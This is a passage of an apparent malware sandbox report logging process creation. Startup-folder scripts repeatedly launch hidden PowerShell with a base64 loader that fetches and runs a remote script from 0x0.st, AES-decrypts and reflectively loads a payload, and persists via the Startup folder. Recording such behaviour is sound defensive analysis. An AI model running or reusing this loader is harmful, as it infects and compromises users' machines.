"[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTaE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTcE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTc01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTOi8vMHhNSUNST1NPRlRTRVJWSUNFVVBEQVRFUzAuc3QvTUlDUk9TT0ZUU0VSVklDRVVQREFURVM4S01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdVYucHMxIicpLlJlcGxhY2UoJ01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTJywnJykpKS5Db250ZW50KTtmdW5jdGlvbiBrZGF1dCgkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnTWRnU20vQURpdmU2bWFpR0IvNHVLY1NuNCt5cTlMcDNScHRaTkZ4aFBsbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUmFncFVZRkg0T1V2L3R0NWowbEdWZz09Jyk7CSRkZWNyeXB0b3JfdmFyPSRhZXNfdmFyLkNyZWF0ZURlY3J5cHRvcigpOwkkcmV0dXJuX3Zhcj0kZGVjcnlwdG9yX3Zhci5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsIDAsICRwYXJhbV92YXIuTGVuZ3RoKTsJJGRlY3J5cHRvcl92YXIuRGlzcG9zZSgpOwkkYWVzX3Zhci5EaXNwb3NlKCk7CSRyZXR1cm5fdmFyO31mdW5jdGlvbiBpbGd5ZSgkcGFyYW1fdmFyKXsJSUVYICckanloaXg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFCQ2VtQUJDb3JBQkN5U0FCQ3RyQUJDZWFBQkNtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckYnJlZ3c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyR2d3Rzdz1OZXctT2JqZWN0IFN5c3RlbS5JTy5DQUJDb21BQkNwckFCQ2VBQkNzc0FCQ2lvQUJDbi5BQkNHWkFCQ2lwQUJDU3RBQkNyZUFCQ2FtQUJDKCRqeWhpeCwgW0lPLkNBQkNvbUFCQ3ByQUJDZXNBQkNzaUFCQ29uQUJDLkNvQUJDbXBBQkNyZUFCQ3NzQUJDaUFCQ29BQkNuQUJDTW9kZV06OkRBQkNlQUJDY0FCQ29tcEFCQ3JlQUJDc3MpOycuUmVwbGFjZSgnQUJDJywgJycpOwkkdnd0c3cuQ29weVRvKCRicmVndyk7CSR2d3Rzdy5EaXNwb3NlKCk7CSRqeWhpeC5EaXNwb3NlKCk7CSRicmVndy5EaXNwb3NlKCk7CSRicmVndy5Ub0FycmF5KCk7fWZ1bmN0aW9uIHpnd3d3KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewlJRVggJyRieWF3aD1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGVhYXNzPSRieWF3aC5BQkNFQUJDbkFCQ3RBQkNyQUJDeUFCQ1BBQkNvQUJDaUFCQ25BQkN0QUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRlYWFzcy5BQkNJQUJDbkFCQ3ZBQkNvQUJDa0FCQ2VBQkMoJG51bGwsICRwYXJhbTJfdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt9JGdzZiA9ICRlbnY6VVNFUk5BTUU7JHBndndsID0gJ0M6XFVzZXJzXCcgKyAkZ3NmICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkcGd2d2w7JGNtdGt0PVtTeXN0ZW0uSU8uRmlsZV06OigndHhlVGxsQWRhZVInWy0xLi4tMTFdIC1qb2luICcnKSg	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_6dd171fd.cmd"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTaE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTcE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTc01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTOi8vMHhNSUNST1NPRlRTRVJWSUNFVVBEQVRFUzAuc3QvTUlDUk9TT0ZUU0VSVklDRVVQREFURVM4S01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdVYucHMxIicpLlJlcGxhY2UoJ01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTJywnJykpKS5Db250ZW50KTtmdW5jdGlvbiBrZGF1dCgkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnTWRnU20vQURpdmU2bWFpR0IvNHVLY1NuNCt5cTlMcDNScHRaTkZ4aFBsbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUmFncFVZRkg0T1V2L3R0NWowbEdWZz09Jyk7CSRkZWNyeXB0b3JfdmFyPSRhZXNfdmFyLkNyZWF0ZURlY3J5cHRvcigpOwkkcmV0dXJuX3Zhcj0kZGVjcnlwdG9yX3Zhci5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsIDAsICRwYXJhbV92YXIuTGVuZ3RoKTsJJGRlY3J5cHRvcl92YXIuRGlzcG9zZSgpOwkkYWVzX3Zhci5EaXNwb3NlKCk7CSRyZXR1cm5fdmFyO31mdW5jdGlvbiBpbGd5ZSgkcGFyYW1fdmFyKXsJSUVYICckanloaXg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFCQ2VtQUJDb3JBQkN5U0FCQ3RyQUJDZWFBQkNtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckYnJlZ3c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyR2d3Rzdz1OZXctT2JqZWN0IFN5c3RlbS5JTy5DQUJDb21BQkNwckFCQ2VBQkNzc0FCQ2lvQUJDbi5BQkNHWkFCQ2lwQUJDU3RBQkNyZUFCQ2FtQUJDKCRqeWhpeCwgW0lPLkNBQkNvbUFCQ3ByQUJDZXNBQkNzaUFCQ29uQUJDLkNvQUJDbXBBQkNyZUFCQ3NzQUJDaUFCQ29BQkNuQUJDTW9kZV06OkRBQkNlQUJDY0FCQ29tcEFCQ3JlQUJDc3MpOycuUmVwbGFjZSgnQUJDJywgJycpOwkkdnd0c3cuQ29weVRvKCRicmVndyk7CSR2d3Rzdy5EaXNwb3NlKCk7CSRqeWhpeC5EaXNwb3NlKCk7CSRicmVndy5EaXNwb3NlKCk7CSRicmVndy5Ub0FycmF5KCk7fWZ1bmN0aW9uIHpnd3d3KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewlJRVggJyRieWF3aD1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGVhYXNzPSRieWF3aC5BQkNFQUJDbkFCQ3RBQkNyQUJDeUFCQ1BBQkNvQUJDaUFCQ25BQkN0QUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRlYWFzcy5BQkNJQUJDbkFCQ3ZBQkNvQUJDa0FCQ2VBQkMoJG51bGwsICRwYXJhbTJfdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt9JGdzZiA9ICRlbnY6VVNFUk5BTUU7JHBndndsID0gJ0M6XFVzZXJzXCcgKyAkZ3NmICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkcGd2d2w7JGNtdGt0PVtTeXN0ZW0uSU8uRmlsZV06OigndHhlVGxsQWRhZVInWy0xLi4tMTFdIC1qb2luICcnKSg	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_0c891e71.cmd"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTaE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTcE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTc01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTOi8vMHhNSUNST1NPRlRTRVJWSUNFVVBEQVRFUzAuc3QvTUlDUk9TT0ZUU0VSVklDRVVQREFURVM4S01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdVYucHMxIicpLlJlcGxhY2UoJ01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTJywnJykpKS5Db250ZW50KTtmdW5jdGlvbiBrZGF1dCgkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnTWRnU20vQURpdmU2bWFpR0IvNHVLY1NuNCt5cTlMcDNScHRaTkZ4aFBsbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUmFncFVZRkg0T1V2L3R0NWowbEdWZz09Jyk7CSRkZWNyeXB0b3JfdmFyPSRhZXNfdmFyLkNyZWF0ZURlY3J5cHRvcigpOwkkcmV0dXJuX3Zhcj0kZGVjcnlwdG9yX3Zhci5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsIDAsICRwYXJhbV92YXIuTGVuZ3RoKTsJJGRlY3J5cHRvcl92YXIuRGlzcG9zZSgpOwkkYWVzX3Zhci5EaXNwb3NlKCk7CSRyZXR1cm5fdmFyO31mdW5jdGlvbiBpbGd5ZSgkcGFyYW1fdmFyKXsJSUVYICckanloaXg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFCQ2VtQUJDb3JBQkN5U0FCQ3RyQUJDZWFBQkNtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckYnJlZ3c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyR2d3Rzdz1OZXctT2JqZWN0IFN5c3RlbS5JTy5DQUJDb21BQkNwckFCQ2VBQkNzc0FCQ2lvQUJDbi5BQkNHWkFCQ2lwQUJDU3RBQkNyZUFCQ2FtQUJDKCRqeWhpeCwgW0lPLkNBQkNvbUFCQ3ByQUJDZXNBQkNzaUFCQ29uQUJDLkNvQUJDbXBBQkNyZUFCQ3NzQUJDaUFCQ29BQkNuQUJDTW9kZV06OkRBQkNlQUJDY0FCQ29tcEFCQ3JlQUJDc3MpOycuUmVwbGFjZSgnQUJDJywgJycpOwkkdnd0c3cuQ29weVRvKCRicmVndyk7CSR2d3Rzdy5EaXNwb3NlKCk7CSRqeWhpeC5EaXNwb3NlKCk7CSRicmVndy5EaXNwb3NlKCk7CSRicmVndy5Ub0FycmF5KCk7fWZ1bmN0aW9uIHpnd3d3KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewlJRVggJyRieWF3aD1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGVhYXNzPSRieWF3aC5BQkNFQUJDbkFCQ3RBQkNyQUJDeUFCQ1BBQkNvQUJDaUFCQ25BQkN0QUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRlYWFzcy5BQkNJQUJDbkFCQ3ZBQkNvQUJDa0FCQ2VBQkMoJG51bGwsICRwYXJhbTJfdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt9JGdzZiA9ICRlbnY6VVNFUk5BTUU7JHBndndsID0gJ0M6XFVzZXJzXCcgKyAkZ3NmICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkcGd2d2w7JGNtdGt0PVtTeXN0ZW0uSU8uRmlsZV06OigndHhlVGxsQWRhZVInWy0xLi4tMTFdIC1qb2luICcnKSg	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_a276d6c0.cmd"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTaE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTcE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTc01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTOi8vMHhNSUNST1NPRlRTRVJWSUNFVVBEQVRFUzAuc3QvTUlDUk9TT0ZUU0VSVklDRVVQREFURVM4S01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdVYucHMxIicpLlJlcGxhY2UoJ01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTJywnJykpKS5Db250ZW50KTtmdW5jdGlvbiBrZGF1dCgkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnTWRnU20vQURpdmU2bWFpR0IvNHVLY1NuNCt5cTlMcDNScHRaTkZ4aFBsbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUmFncFVZRkg0T1V2L3R0NWowbEdWZz09Jyk7CSRkZWNyeXB0b3JfdmFyPSRhZXNfdmFyLkNyZWF0ZURlY3J5cHRvcigpOwkkcmV0dXJuX3Zhcj0kZGVjcnlwdG9yX3Zhci5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsIDAsICRwYXJhbV92YXIuTGVuZ3RoKTsJJGRlY3J5cHRvcl92YXIuRGlzcG9zZSgpOwkkYWVzX3Zhci5EaXNwb3NlKCk7CSRyZXR1cm5fdmFyO31mdW5jdGlvbiBpbGd5ZSgkcGFyYW1fdmFyKXsJSUVYICckanloaXg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFCQ2VtQUJDb3JBQkN5U0FCQ3RyQUJDZWFBQkNtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckYnJlZ3c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyR2d3Rzdz1OZXctT2JqZWN0IFN5c3RlbS5JTy5DQUJDb21BQkNwckFCQ2VBQkNzc0FCQ2lvQUJDbi5BQkNHWkFCQ2lwQUJDU3RBQkNyZUFCQ2FtQUJDKCRqeWhpeCwgW0lPLkNBQkNvbUFCQ3ByQUJDZXNBQkNzaUFCQ29uQUJDLkNvQUJDbXBBQkNyZUFCQ3NzQUJDaUFCQ29BQkNuQUJDTW9kZV06OkRBQkNlQUJDY0FCQ29tcEFCQ3JlQUJDc3MpOycuUmVwbGFjZSgnQUJDJywgJycpOwkkdnd0c3cuQ29weVRvKCRicmVndyk7CSR2d3Rzdy5EaXNwb3NlKCk7CSRqeWhpeC5EaXNwb3NlKCk7CSRicmVndy5EaXNwb3NlKCk7CSRicmVndy5Ub0FycmF5KCk7fWZ1bmN0aW9uIHpnd3d3KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewlJRVggJyRieWF3aD1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGVhYXNzPSRieWF3aC5BQkNFQUJDbkFCQ3RBQkNyQUJDeUFCQ1BBQkNvQUJDaUFCQ25BQkN0QUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRlYWFzcy5BQkNJQUJDbkFCQ3ZBQkNvQUJDa0FCQ2VBQkMoJG51bGwsICRwYXJhbTJfdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt9JGdzZiA9ICRlbnY6VVNFUk5BTUU7JHBndndsID0gJ0M6XFVzZXJzXCcgKyAkZ3NmICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkcGd2d2w7JGNtdGt0PVtTeXN0ZW0uSU8uRmlsZV06OigndHhlVGxsQWRhZVInWy0xLi4tMTFdIC1qb2luICcnKSg	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe C:\Windows\system32\cmd.exe /K "C:\Users\user\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\StartupScript_79ced6d4.cmd"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -noprofile -windowstyle hidden -ep bypass -Command "[Text.Encoding]::UTF8.GetString([Convert]::FromBase64String('aWV4ICgoaWV4ICgoJ2lNSUNST1NPRlRTRVJWSUNFVVBEQVRFU3dyIC1NSUNST1NPRlRTRVJWSUNFVVBEQVRFU1VzZUJNSUNST1NPRlRTRVJWSUNFVVBEQVRFU2FzaWNQTUlDUk9TT0ZUU0VSVklDRVVQREFURVNhcnNpbmcgIk1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTaE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTcE1JQ1JPU09GVFNFUlZJQ0VVUERBVEVTc01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTOi8vMHhNSUNST1NPRlRTRVJWSUNFVVBEQVRFUzAuc3QvTUlDUk9TT0ZUU0VSVklDRVVQREFURVM4S01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTdVYucHMxIicpLlJlcGxhY2UoJ01JQ1JPU09GVFNFUlZJQ0VVUERBVEVTJywnJykpKS5Db250ZW50KTtmdW5jdGlvbiBrZGF1dCgkcGFyYW1fdmFyKXsJJGFlc192YXI9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQWVzXTo6Q3JlYXRlKCk7CSRhZXNfdmFyLk1vZGU9W1N5c3RlbS5TZWN1cml0eS5DcnlwdG9ncmFwaHkuQ2lwaGVyTW9kZV06OkNCQzsJJGFlc192YXIuUGFkZGluZz1bU3lzdGVtLlNlY3VyaXR5LkNyeXB0b2dyYXBoeS5QYWRkaW5nTW9kZV06OlBLQ1M3OwkkYWVzX3Zhci5LZXk9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnTWRnU20vQURpdmU2bWFpR0IvNHVLY1NuNCt5cTlMcDNScHRaTkZ4aFBsbz0nKTsJJGFlc192YXIuSVY9W1N5c3RlbS5Db252ZXJ0XTo6RnJvbUJhc2U2NFN0cmluZygnUmFncFVZRkg0T1V2L3R0NWowbEdWZz09Jyk7CSRkZWNyeXB0b3JfdmFyPSRhZXNfdmFyLkNyZWF0ZURlY3J5cHRvcigpOwkkcmV0dXJuX3Zhcj0kZGVjcnlwdG9yX3Zhci5UcmFuc2Zvcm1GaW5hbEJsb2NrKCRwYXJhbV92YXIsIDAsICRwYXJhbV92YXIuTGVuZ3RoKTsJJGRlY3J5cHRvcl92YXIuRGlzcG9zZSgpOwkkYWVzX3Zhci5EaXNwb3NlKCk7CSRyZXR1cm5fdmFyO31mdW5jdGlvbiBpbGd5ZSgkcGFyYW1fdmFyKXsJSUVYICckanloaXg9TmV3LU9iamVjdCBTeXN0ZW0uSU8uTUFCQ2VtQUJDb3JBQkN5U0FCQ3RyQUJDZWFBQkNtKCwkcGFyYW1fdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTsJSUVYICckYnJlZ3c9TmV3LU9iamVjdCBTeXN0ZW0uSU8uQUJDTUFCQ2VBQkNtQUJDb0FCQ3JBQkN5QUJDU0FCQ3RBQkNyQUJDZUFCQ2FBQkNtQUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyR2d3Rzdz1OZXctT2JqZWN0IFN5c3RlbS5JTy5DQUJDb21BQkNwckFCQ2VBQkNzc0FCQ2lvQUJDbi5BQkNHWkFCQ2lwQUJDU3RBQkNyZUFCQ2FtQUJDKCRqeWhpeCwgW0lPLkNBQkNvbUFCQ3ByQUJDZXNBQkNzaUFCQ29uQUJDLkNvQUJDbXBBQkNyZUFCQ3NzQUJDaUFCQ29BQkNuQUJDTW9kZV06OkRBQkNlQUJDY0FCQ29tcEFCQ3JlQUJDc3MpOycuUmVwbGFjZSgnQUJDJywgJycpOwkkdnd0c3cuQ29weVRvKCRicmVndyk7CSR2d3Rzdy5EaXNwb3NlKCk7CSRqeWhpeC5EaXNwb3NlKCk7CSRicmVndy5EaXNwb3NlKCk7CSRicmVndy5Ub0FycmF5KCk7fWZ1bmN0aW9uIHpnd3d3KCRwYXJhbV92YXIsJHBhcmFtMl92YXIpewlJRVggJyRieWF3aD1bU3lzdGVtLlJBQkNlQUJDZmxBQkNlY3RBQkNpb0FCQ24uQUJDQXNBQkNzZUFCQ21iQUJDbEFCQ3lBQkNdOjpMQUJDb0FCQ2FBQkNkQUJDKFtieXRlW11dJHBhcmFtX3Zhcik7Jy5SZXBsYWNlKCdBQkMnLCAnJyk7CUlFWCAnJGVhYXNzPSRieWF3aC5BQkNFQUJDbkFCQ3RBQkNyQUJDeUFCQ1BBQkNvQUJDaUFCQ25BQkN0QUJDOycuUmVwbGFjZSgnQUJDJywgJycpOwlJRVggJyRlYWFzcy5BQkNJQUJDbkFCQ3ZBQkNvQUJDa0FCQ2VBQkMoJG51bGwsICRwYXJhbTJfdmFyKTsnLlJlcGxhY2UoJ0FCQycsICcnKTt9JGdzZiA9ICRlbnY6VVNFUk5BTUU7JHBndndsID0gJ0M6XFVzZXJzXCcgKyAkZ3NmICsgJ0FCQ1xBQkNkQUJDd0FCQ21BQkMuQUJDYkFCQ2FBQkN0QUJDJy5SZXBsYWNlKCdBQkMnLCAnJyk7JGhvc3QuVUkuUmF3VUkuV2luZG93VGl0bGUgPSAkcGd2d2w7JGNtdGt0PVtTeXN0ZW0uSU8uRmlsZV06OigndHhlVGxsQWRhZVInWy0xLi4tMTFdIC1qb2luICcnKSg	Jump to behavior

